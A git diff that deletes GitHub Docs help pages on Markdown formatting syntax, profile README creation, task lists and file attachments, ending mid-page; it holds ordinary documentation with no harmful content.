rendered GitHub Markdown showing sample h1, h2, and h3 headers, which descend in type size and visual weight to show hierarchy level.](/assets/images/help/writing/headings-rendered.png) - -When you use two or more headings, GitHub automatically generates a table of contents that you can access by clicking {% octicon "list-unordered" aria-label="The unordered list icon" %} within the file header. Each heading title is listed in the table of contents and you can click a title to navigate to the selected section. - -![Screenshot of a README file with the drop-down menu for the table of contents exposed. The table of contents icon is outlined in dark orange.](/assets/images/help/repository/headings-toc.png) - -## Styling text - -You can indicate emphasis with bold, italic, strikethrough, subscript, or superscript text in comment fields and `.md` files. - -| Style | Syntax | Keyboard shortcut | Example | Output | -| --- | --- | --- | --- | --- | -| Bold | `** **` or `__ __`| Command+B (Mac) or Ctrl+B (Windows/Linux) | `**This is bold text**` | **This is bold text** | -| Italic | `* *` or `_ _`     | Command+I (Mac) or Ctrl+I (Windows/Linux) | `_This text is italicized_` | _This text is italicized_ | -| Strikethrough | `~~ ~~` or `~ ~` | None | `~~This was mistaken text~~` | ~~This was mistaken text~~ | -| Bold and nested italic | `** **` and `_ _` | None | `**This text is _extremely_ important**` | **This text is _extremely_ important** | -| All bold and italic | `*** ***` | None | `***All this text is important***` | ***All this text is important*** | -| Subscript | ` ` | None | `This is a subscript text` | This is a subscript text | -| Superscript | ` ` | None | `This is a superscript text` | This is a superscript text | -| Underline | ` ` | None | `This is an underlined text` | This is an underlined text | - -## Quoting text - -You can quote text with a >. - -```markdown -Text that is not a quote - -> Text that is a quote -``` - -Quoted text is indented with a vertical line on the left and displayed using gray type. - -![Screenshot of rendered GitHub Markdown showing the difference between normal and quoted text.](/assets/images/help/writing/quoted-text-rendered.png) - -> [!NOTE] -> When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing R. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts). - -## Quoting code - -You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted. You can also press the Command+E (Mac) or Ctrl+E (Windows/Linux) keyboard shortcut to insert the backticks for a code block within a line of Markdown. - -```markdown -Use `git status` to list all new or modified files that haven't yet been committed. -``` - -![Screenshot of rendered GitHub Markdown showing that characters surrounded by backticks are shown in a fixed-width typeface, highlighted in light gray.](/assets/images/help/writing/inline-code-rendered.png) - -To format code or text into its own distinct block, use triple backticks. - -````markdown -Some basic Git commands are: -``` -git status -git add -git commit -``` -```` - -![Screenshot of rendered GitHub Markdown showing a simple code block without syntax highlighting.](/assets/images/help/writing/code-block-rendered.png) - -For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - -{% data reusables.user-settings.enabling-fixed-width-fonts %} - -## Supported color models - -In issues, pull requests, and discussions, you can call out colors within a sentence by using backticks. A supported color model within backticks will display a visualization of the color. - -```markdown -The background color is `#ffffff` for light mode and `#000000` for dark mode. -``` - -![Screenshot of rendered GitHub Markdown showing how HEX values within backticks create small circles of color, here white and then black.](/assets/images/help/writing/supported-color-models-rendered.png) - -Here are the currently supported color models. - -| Color | Syntax | Example | Output | -| --- | --- | --- | --- | -| HEX | \`#RRGGBB\` | \`#0969DA\` | ![Screenshot of rendered GitHub Markdown showing how HEX value #0969DA appears with a blue circle.](/assets/images/help/writing/supported-color-models-hex-rendered.png) | -| RGB | \`rgb(R,G,B)\` | \`rgb(9, 105, 218)\` | ![Screenshot of rendered GitHub Markdown showing how RGB value 9, 105, 218 appears with a blue circle.](/assets/images/help/writing/supported-color-models-rgb-rendered.png) | -| HSL | \`hsl(H,S,L)\` | \`hsl(212, 92%, 45%)\` | ![Screenshot of rendered GitHub Markdown showing how HSL value 212, 92%, 45% appears with a blue circle.](/assets/images/help/writing/supported-color-models-hsl-rendered.png) | - -> [!NOTE] -> * A supported color model cannot have any leading or trailing spaces within the backticks. -> * The visualization of the color is only supported in issues, pull requests, and discussions. - -## Links - -You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. You can also use the keyboard shortcut Command+K to create a link. When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection. - -You can also create a Markdown hyperlink by highlighting the text and using the keyboard shortcut Command+V. If you'd like to replace the text with the link, use the keyboard shortcut Command+Shift+V. - -`This site was built using [GitHub Pages](https://pages.github.com/).` - -![Screenshot of rendered GitHub Markdown showing how text within brackets, "GitHub Pages," appears as a blue hyperlink.](/assets/images/help/writing/link-rendered.png) - -> [!NOTE] -> {% data variables.product.github %} automatically creates links when valid URLs are written in a comment. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - -## Section links - -{% data reusables.repositories.section-links %} - -If you need to determine the anchor for a heading in a file you are editing, you can use the following basic rules: - -* Letters are converted to lower-case. -* Spaces are replaced by hyphens (`-`). Any other whitespace or punctuation characters are removed. -* Leading and trailing whitespace are removed. -* Markup formatting is removed, leaving only the contents (for example, `_italics_` becomes `italics`). -* If the automatically generated anchor for a heading is identical to an earlier anchor in the same document, a unique identifier is generated by appending a hyphen and an auto-incrementing integer. - -For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5). - -The code block below demonstrates the basic rules used to generate anchors from headings in rendered content. - -```markdown -# Example headings - -## Sample Section - -## This'll be a _Helpful_ Section About the Greek Letter Θ! -A heading containing characters not allowed in fragments, UTF-8 characters, two consecutive spaces between the first and second words, and formatting. - -## This heading is not unique in the file - -TEXT 1 - -## This heading is not unique in the file - -TEXT 2 - -# Links to the example headings above - -Link to the sample section: [Link Text](#sample-section). - -Link to the helpful section: [Link Text](#thisll-be-a-helpful-section-about-the-greek-letter-Θ). - -Link to the first non-unique section: [Link Text](#this-heading-is-not-unique-in-the-file). - -Link to the second non-unique section: [Link Text](#this-heading-is-not-unique-in-the-file-1). -``` - -> [!NOTE] -> If you edit a heading, or if you change the order of headings with "identical" anchors, you will also need to update any links to those headings as the anchors will change. - -## Relative links - -{% data reusables.repositories.relative-links %} - -## Custom anchors - -You can use standard HTML anchor tags (``) to create navigation anchor points for any location in the document. To avoid ambiguous references, use a unique naming scheme for anchor tags, such as adding a prefix to the `name` attribute value. - -> [!NOTE] -> Custom anchors will not be included in the document outline/Table of Contents. - -You can link to a custom anchor using the value of the `name` attribute you gave the anchor. The syntax is exactly the same as when you link to an anchor that is automatically generated for a heading. - -For example: - -```markdown -# Section Heading - -Some body text of this section. - - -Some text I want to provide a direct link to, but which doesn't have its own heading. - -(… more content…) - -[A link to that custom anchor](#my-custom-anchor-point) -``` - -> [!TIP] -> Custom anchors are not considered by the automatic naming and numbering behavior of automatic heading links. - -## Line breaks - -If you're writing in issues, pull requests, or discussions in a repository, {% data variables.product.github %} will render a line break automatically: - -```markdown -This example -Will span two lines -``` - -However, if you are writing in an .md file, the example above would render on one line without a line break. To create a line break in an .md file, you will need to include one of the following: - -* Include two spaces at the end of the first line. - 
-  This example  
-  Will span two lines
-
-* Include a backslash at the end of the first line. - - ```markdown - This example\ - Will span two lines - ``` - -* Include an HTML single line break tag at the end of the first line. - - ```markdown - This example
- Will span two lines - ``` - -If you leave a blank line between two lines, both .md files and Markdown in issues, pull requests, and discussions will render the two lines separated by the blank line: - -```markdown -This example - -Will have a blank line separating both lines -``` - -## Images - -You can display an image by adding ! and wrapping the alt text in `[ ]`. Alt text is a short text equivalent of the information in the image. Then, wrap the link for the image in parentheses `()`. - -`![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://myoctocat.com/assets/images/base-octocat.svg)` - -![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](/assets/images/help/writing/image-rendered.png) - -{% data variables.product.github %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see [Uploading assets](#uploading-assets). - -> [!NOTE] -> When you want to display an image that is in your repository, use relative links instead of absolute links. - -Here are some examples for using relative links to display an image. - -| Context | Relative Link | -| ------ | -------- | -| In a `.md` file on the same branch | `/assets/images/electrocat.png` | -| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` | -| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png?raw=true` | -| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | -| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` | - -> [!NOTE] -> The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository that contains these images. - -For more information, see [Relative Links](#relative-links). - -### The Picture element - -The `` HTML element is supported. - -## Lists - -You can make an unordered list by preceding one or more lines of text with -, *, or +. - -```markdown -- George Washington -* John Adams -+ Thomas Jefferson -``` - -![Screenshot of rendered GitHub Markdown showing a bulleted list of the names of the first three American presidents.](/assets/images/help/writing/unordered-list-rendered.png) - -To order your list, precede each line with a number. - -```markdown -1. James Madison -2. James Monroe -3. John Quincy Adams -``` - -![Screenshot of rendered GitHub Markdown showing a numbered list of the names of the fourth, fifth, and sixth American presidents.](/assets/images/help/writing/ordered-list-rendered.png) - -### Nested Lists - -You can create a nested list by indenting one or more list items below another item. - -To create a nested list using the web editor on {% data variables.product.github %} or a text editor that uses a monospaced font, like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested list item until the list marker character (- or *) lies directly below the first character of the text in the item above it. - -```markdown -1. First list item - - First nested list item - - Second nested list item -``` - -> [!NOTE] -> In the web-based editor, you can indent or dedent one or more lines of text by first highlighting the desired lines and then using Tab or Shift+Tab respectively. - -![Screenshot of Markdown in {% data variables.product.prodname_vscode %} showing indentation of nested numbered lines and bullets.](/assets/images/help/writing/nested-list-alignment.png) - -![Screenshot of rendered GitHub Markdown showing a numbered item followed by nested bullets at two different levels of nesting.](/assets/images/help/writing/nested-list-example-1.png) - -To create a nested list in the comment editor on {% data variables.product.github %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item. - -In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`. - -```markdown -100. First list item - - First nested list item -``` - -![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by a bulleted item nested one level.](/assets/images/help/writing/nested-list-example-3.png) - -You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by at least two more characters (nine spaces minimum). - -```markdown -100. First list item - - First nested list item - - Second nested list item -``` - -![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by bullets at two different levels of nesting.](/assets/images/help/writing/nested-list-example-2.png) - -For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). - -## Task lists - -{% data reusables.repositories.task-list-markdown %} - -If a task list item description begins with a parenthesis, you'll need to escape it with \\: - -`- [ ] \(Optional) Open a followup issue` - -For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -## Mentioning people and teams - -You can mention a person or [team](/organizations/organizing-members-into-teams) on {% data variables.product.github %} by typing @ plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). - -> [!NOTE] -> A person will only be notified about a mention if the person has read access to the repository and, if the repository is owned by an organization, the person is a member of the organization. - -`@github/support What do you think about these updates?` - -![Screenshot of rendered GitHub Markdown showing how the team mention "@github/support" renders as bold, clickable text.](/assets/images/help/writing/mention-rendered.png) - -When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -Typing an @ symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation. - -The autocomplete results are restricted to repository collaborators and any other participants on the thread. - -## Referencing issues and pull requests - -You can bring up a list of suggested issues and pull requests within the repository by typing #. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result. - -For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - -## Referencing external resources - -{% data reusables.repositories.autolink-references %} - -## Uploading assets - -You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository. - -## Using emojis - -You can add emoji to your writing by typing `:EMOJICODE:`, a colon followed by the name of the emoji. - -`@octocat :+1: This PR looks great - it's ready to merge! :shipit:` - -![Screenshot of rendered GitHub Markdown showing how emoji codes for +1 and shipit render visually as emoji.](/assets/images/help/writing/emoji-rendered.png) - -Typing : will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result. - -For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md). - -## Paragraphs - -You can create a new paragraph by leaving a blank line between lines of text. - -## Footnotes - -You can add footnotes to your content by using this bracket syntax: - -```text -Here is a simple footnote[^1]. - -A footnote can also have multiple lines[^2]. - -[^1]: My reference. -[^2]: To add line breaks within a footnote, prefix new lines with 2 spaces. - This is a second line. -``` - -The footnote will render like this: - -![Screenshot of rendered Markdown showing superscript numbers used to indicate footnotes, along with optional line breaks inside a note.](/assets/images/help/writing/footnote-rendered.png) - -> [!NOTE] -> The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown. Footnotes are not supported in wikis. - -## Alerts - -Alerts are a Markdown extension based on the blockquote syntax that you can use to emphasize critical information. On {% data variables.product.github %}, they are displayed with distinctive colors and icons to indicate the significance of the content. - -Use alerts only when they are crucial for user success and limit them to one or two per article to prevent overloading the reader. Additionally, you should avoid placing alerts consecutively. Alerts cannot be nested within other elements. - -To add an alert, use a special blockquote line specifying the alert type, followed by the alert information in a standard blockquote. Five types of alerts are available: - -```markdown -> [!NOTE] -> Useful information that users should know, even when skimming content. - -> [!TIP] -> Helpful advice for doing things better or more easily. - -> [!IMPORTANT] -> Key information users need to know to achieve their goal. - -> [!WARNING] -> Urgent info that needs immediate user attention to avoid problems. - -> [!CAUTION] -> Advises about risks or negative outcomes of certain actions. -``` - -Here are the rendered alerts: - -![Screenshot of rendered Markdown alerts showing how Note, Tip, Important, Warning, and Caution render with different colored text and icons.](/assets/images/help/writing/alerts-rendered.png) - -## Hiding content with comments - -You can tell {% data variables.product.github %} to hide content from the rendered Markdown by placing the content in an HTML comment. - -```text - -``` - -## Ignoring Markdown formatting - -You can tell {% data variables.product.github %} to ignore (or escape) Markdown formatting by using \\ before the Markdown character. - -`Let's rename \*our-new-project\* to \*our-old-project\*.` - -![Screenshot of rendered GitHub Markdown showing how backslashes prevent the conversion of asterisks to italics.](/assets/images/help/writing/escaped-character-rendered.png) - -For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash). - -> [!NOTE] -> The Markdown formatting will not be ignored in the title of an issue or a pull request. - -## Disabling Markdown rendering - -{% data reusables.repositories.disabling-markdown-rendering %} - -## Further reading - -* [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) -* [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github) diff --git a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md deleted file mode 100644 index 8c13863ad679..000000000000 --- a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Getting started with writing and formatting on GitHub -redirect_from: - - /articles/markdown-basics - - /articles/things-you-can-do-in-a-text-area-on-github - - /articles/getting-started-with-writing-and-formatting-on-github - - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github -intro: 'You can use simple features to format your comments and interact with others in issues, pull requests, and wikis on GitHub.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /quickstart-for-writing-on-github - - /about-writing-and-formatting-on-github - - /basic-writing-and-formatting-syntax -shortTitle: Start writing on GitHub ---- - diff --git a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md b/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md deleted file mode 100644 index b117e27f06fb..000000000000 --- a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Quickstart for writing on GitHub -intro: 'Learn advanced formatting features by creating a README for your {% data variables.product.prodname_dotcom %} profile.' -product: '{% data reusables.gated-features.markdown-ui %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Quickstart ---- - -## Introduction - -{% data reusables.getting-started.what-is-markdown %} You can use Markdown syntax, along with some additional HTML tags, to format your writing on {% data variables.product.prodname_dotcom %}, in places like repository READMEs and comments on pull requests and issues. In this guide, you'll learn some advanced formatting features by creating or editing a README for your {% data variables.product.prodname_dotcom %} profile. - -If you're new to Markdown, you might want to start with [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) or the [Communicate using Markdown](https://github.com/skills/communicate-using-markdown) {% data variables.product.prodname_learning %} course. - -If you already have a profile README, you can follow this guide by adding some features to your existing README, or by creating a gist with a Markdown file called something like `about-me.md`. For more information, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists). - -## Creating or editing your profile README - -Your profile README lets you share information about yourself with the community on {% data variables.product.prodname_dotcom %}. The README is displayed at the top of your profile page. - -If you don't already have a profile README, you can add one. - -1. Create a repository with the same name as your {% data variables.product.prodname_dotcom %} username, initializing the repository with a `README.md` file. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme#adding-a-profile-readme). -1. Edit the `README.md` file and delete the template text (beginning `### Hi there`) that is automatically added when you create the file. - -If you already have a profile README, you can edit it from your profile page. - -{% data reusables.profile.navigating-to-profile %} -{% data reusables.profile.edit-profile-readme %} - -## Adding an image to suit your visitors - -You can include images in your communication on {% data variables.product.prodname_dotcom %}. Here, you'll add a responsive image, such as a banner, to the top of your profile README. - -By using the HTML `` element with the `prefers-color-scheme` media feature, you can add an image that changes depending on whether a visitor is using light or dark mode. For more information, see [AUTOTITLE](/get-started/accessibility/managing-your-theme-settings). - -1. Copy and paste the following markup into your `README.md` file. - - ```html copy - - - - YOUR-ALT-TEXT - - ``` - -1. Replace the placeholders in the markup with the URLs of your chosen images. Alternatively, to try the feature first, you can copy the URLs from our example below. - - * Replace `YOUR-DARKMODE-IMAGE` with the URL of an image to display for visitors using dark mode. - * Replace `YOUR-LIGHTMODE-IMAGE` with the URL of an image to display for visitors using light mode. - * Replace `YOUR-DEFAULT-IMAGE` with the URL of an image to display in case neither of the other images can be matched, for example if the visitor is using a browser that does not support the `prefers-color-scheme` feature. -1. To make the image accessible for visitors who are using a screen reader, replace `YOUR-ALT-TEXT` with a description of the image. -1. To check the image has rendered correctly, click the **Preview** tab. - -For more information on using images in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images). - -### Example of a responsive image - -{% data reusables.getting-started.picture-element-example %} - -### How the image looks - -![Screenshot of the "Preview" tab of a {% data variables.product.prodname_dotcom %} comment, in light mode. An image of a smiling sun fills the box.](/assets/images/help/writing/lightmode-image-example.png) - -## Adding a table - -You can use Markdown tables to organize information. Here, you'll use a table to introduce yourself by ranking something, such as your most-used programming languages or frameworks, the things you're spending your time learning, or your favorite hobbies. When a table column contains numbers, it's useful to right-align the column by using the syntax `--:` below the header row. - -1. Return to the **Edit file** tab. -1. To introduce yourself, two lines below the `` tag, add an `## About me` header and a short paragraph about yourself, like the following. - - ```markdown - ## About me - - Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot. - ``` - -1. Two lines below this paragraph, insert a table by copying and pasting the following markup. - - ```markdown copy - | Rank | THING-TO-RANK | - |-----:|---------------| - | 1| | - | 2| | - | 3| | - ``` - -1. In the column on the right, replace `THING-TO-RANK` with "Languages," "Hobbies," or anything else, and fill in the column with your list of things. -1. To check the table has rendered correctly, click the **Preview** tab. - -For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables). - -### Example of a table - -```markdown -## About me - -Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot. - -| Rank | Languages | -|-----:|-----------| -| 1| JavaScript| -| 2| Python | -| 3| SQL | -``` - -### How the table looks - -![Screenshot of the "Preview" tab of a {% data variables.product.prodname_dotcom %} comment. Under the "About me" heading is a rendered table with a ranked list of languages.](/assets/images/help/writing/markdown-table-example.png) - -## Adding a collapsed section - -To keep your content tidy, you can use the `
` tag to create an expandable collapsed section. - -1. To create a collapsed section for the table you created, wrap your table in `
` tags like in the following example. - - ```html copy -
- My top THINGS-TO-RANK - - YOUR TABLE - -
- ``` - -1. Between the `` tags, replace `THINGS-TO-RANK` with whatever you ranked in your table. -1. Optionally, to make the section display as open by default, add the `open` attribute to the `
` tag. - - ```html -
- ``` - -1. To check the collapsed section has rendered correctly, click the **Preview** tab. - -### Example of a collapsed section - -```html -
-My top languages - -| Rank | Languages | -|-----:|-----------| -| 1| JavaScript| -| 2| Python | -| 3| SQL | - -
-``` - -### How the collapsed section looks - -![Screenshot of the "Preview" tab of a comment. To the left of the words "Top languages" is an arrow indicating that the section can be expanded.](/assets/images/help/writing/collapsed-section-example.png) - -## Adding a quote - -Markdown has many other options for formatting your content. Here, you'll add a horizontal rule to divide your page and a blockquote to format your favorite quote. - -1. At the bottom of your file, two lines below the `
` tag, add a horizontal rule by typing three or more dashes. - - ```markdown - --- - ``` - -1. Below the `---` line, add a quote by typing markup like the following. - - ```markdown - > QUOTE - ``` - - Replace `QUOTE` with a quote of your choice. Alternatively, copy the quote from our example below. -1. To check everything has rendered correctly, click the **Preview** tab. - -### Example of a quote - -```markdown ---- -> If we pull together and commit ourselves, then we can push through anything. - -— Mona the Octocat -``` - -### How the quote looks - -![Screenshot of the "Preview" tab of a {% data variables.product.prodname_dotcom %} comment. A quote is indented below a thick horizontal line.](/assets/images/help/writing/markdown-quote-example.png) - -## Adding a comment - -You can use HTML comment syntax to add a comment that will be hidden in the output. Here, you'll add a comment to remind yourself to update your README later. - -1. Two lines below the `## About me` header, insert a comment by using the following markup. - - ```text - - ``` - - Replace `COMMENT` with a "to-do" item you remind yourself to do something later (for example, to add more items to the table). -1. To check your comment is hidden in the output, click the **Preview** tab. - -### Example of a comment - -```markdown -## About me - - -``` - -## Saving your work - -When you're happy with your changes, save your profile README by clicking **Commit changes**. - -Committing directly to the `main` branch will make your changes visible to any visitor on your profile. If you want to save your work but aren't ready to make it visible on your profile, you can select **Create a new branch for this commit and start a pull request**. - -## Next steps - -* Continue to learn about advanced formatting features. For example, see {% ifversion fpt or ghec %}[AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams) and {% endif %}[AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). -* Use your new skills as you communicate across GitHub, in issues, pull requests, and discussions. For more information, see [AUTOTITLE](/get-started/using-github/communicating-on-github). diff --git a/content/get-started/writing-on-github/index.md b/content/get-started/writing-on-github/index.md deleted file mode 100644 index febcd457eae0..000000000000 --- a/content/get-started/writing-on-github/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Writing on GitHub -redirect_from: - - /categories/88/articles - - /articles/github-flavored-markdown - - /articles/writing-on-github - - /categories/writing-on-github - - /github/writing-on-github -intro: 'You can structure the information shared on {% data variables.product.github %} with various formatting options.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /getting-started-with-writing-and-formatting-on-github - - /working-with-advanced-formatting - - /working-with-saved-replies - - /editing-and-sharing-content-with-gists ---- diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md b/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md deleted file mode 100644 index 8f645acdac23..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: About task lists -intro: 'You can use task lists to break the work for an issue or pull request into smaller tasks, then track the full set of work to completion.' -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-task-lists - - /articles/about-task-lists - - /github/managing-your-work-on-github/about-task-lists - - /issues/tracking-your-work-with-issues/creating-issues/about-task-lists - - /issues/tracking-your-work-with-issues/about-task-lists -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues ---- - -## About task lists - -A task list is a set of tasks that each render on a separate line with a clickable checkbox. You can select or deselect the checkboxes to mark the tasks as complete or incomplete. - -You can use Markdown to create a task list in any comment on {% data variables.product.github %}. {% ifversion fpt or ghec %}If you reference an issue, pull request, or discussion in a task list, the reference will unfurl to show the title and state.{% endif %} - -{% ifversion not fpt or ghec %} -You can view task list summary information in issue and pull request lists, when the task list is in the initial comment. -{% else %} - -## About issue task lists - -If you add a task list to the body of an issue, the list has added functionality. - -* To help you track your team's work on an issue, the progress of an issue's task list appears in various places on {% data variables.product.github %}, such as a repository's list of issues. -* If a task references another issue and someone closes that issue, the task's checkbox will automatically be marked as complete. -* If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. To add more details before creating the issue, you can use keyboard shortcuts to open the new issue form. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#issues-and-pull-requests). -* Any issues referenced in the task list will specify that they are tracked in the referencing issue. - -![Screenshot of an issue showing a task list under the header "Features." Three list items link to other issues.](/assets/images/help/writing/task-list-rendered.png) - -{% endif %} - -## Creating task lists - -{% data reusables.repositories.task-list-markdown %} - -> [!NOTE] -> You cannot create task list items within closed issues or issues with linked pull requests. - -## Reordering tasks - -You can reorder the items in a task list. First, click or hover to the left of a task's checkbox until a grid of six dots appears. Then, drag and drop the grid to move the task to a new location. - -You can reorder tasks across different lists in the same comment, but you cannot reorder tasks across different comments. - -{% ifversion fpt or ghec %} ![Screenshot of a {% data variables.product.prodname_dotcom %} issue showing two tasks in a task list. A grid of six dots to the left of the second task is outlined in dark orange.](/assets/images/help/writing/task-list-reorder.png){% endif %} - -{% ifversion fpt %} - -## Converting tasks into issues - -You can also convert tasks into issues. First, hover over one of the items in your task list and then click {% octicon "issue-opened" aria-label="Convert to issue" %}. - - {% ifversion fpt or ghec %} ![Screenshot of an issue showing two tasks. The "Convert to issue" icon is highlighted with an orange outline.](/assets/images/help/writing/convert-task-lists-into-issues.png){% endif %} - -## Navigating tracked issues - -Any issues that are referenced in a task list specify that they are tracked by the issue that contains the task list. To navigate to the tracking issue from the tracked issue, click on the tracking issue number in the **Tracked by** section next to the issue status. - -![Screenshot of issue 3 showing the issue status of "Open" and the text "Tracked by issue #2", which is outlined in orange.](/assets/images/help/writing/task-list-tracked.png) - -{% endif %} - -{% ifversion code-scanning-task-lists %} - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/tracking-code-scanning-alerts-in-issues-using-task-lists){% endif %} diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md b/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md deleted file mode 100644 index 3e0f623be9d7..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Attaching files -intro: You can convey information by attaching a variety of file types to your issues and pull requests. -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests - - /articles/issue-attachments - - /articles/file-attachments-on-issues-and-pull-requests - - /github/managing-your-work-on-github/file-attachments-on-issues-and-pull-requests - - /github/writing-on-github/working-with-advanced-formatting/attaching-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -{% ifversion ghes %} - -> [!WARNING] -> When you upload an image or video to a pull request or issue comment, or upload a file to a ticket in the {% data variables.contact.landing_page_portal %}, anyone can view the anonymized URL without authentication, even if the pull request or issue is in a private repository, or if private mode is enabled. To keep sensitive media files private, serve them from a private network or server that requires authentication. - -{% endif %} - -{% ifversion fpt or ghec %} - -> [!NOTE] -> For public repositories, uploaded files can be accessed without authentication. In the case of private and internal repositories, only people with access to the repository can view the uploaded files. - -{% endif %} - -To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click {% octicon "paperclip" aria-label="Attach files" %} in the formatting bar above the comment box to browse, select, and add a file from your computer. - -![Screenshot of the comment box. The "Attach files" icon is 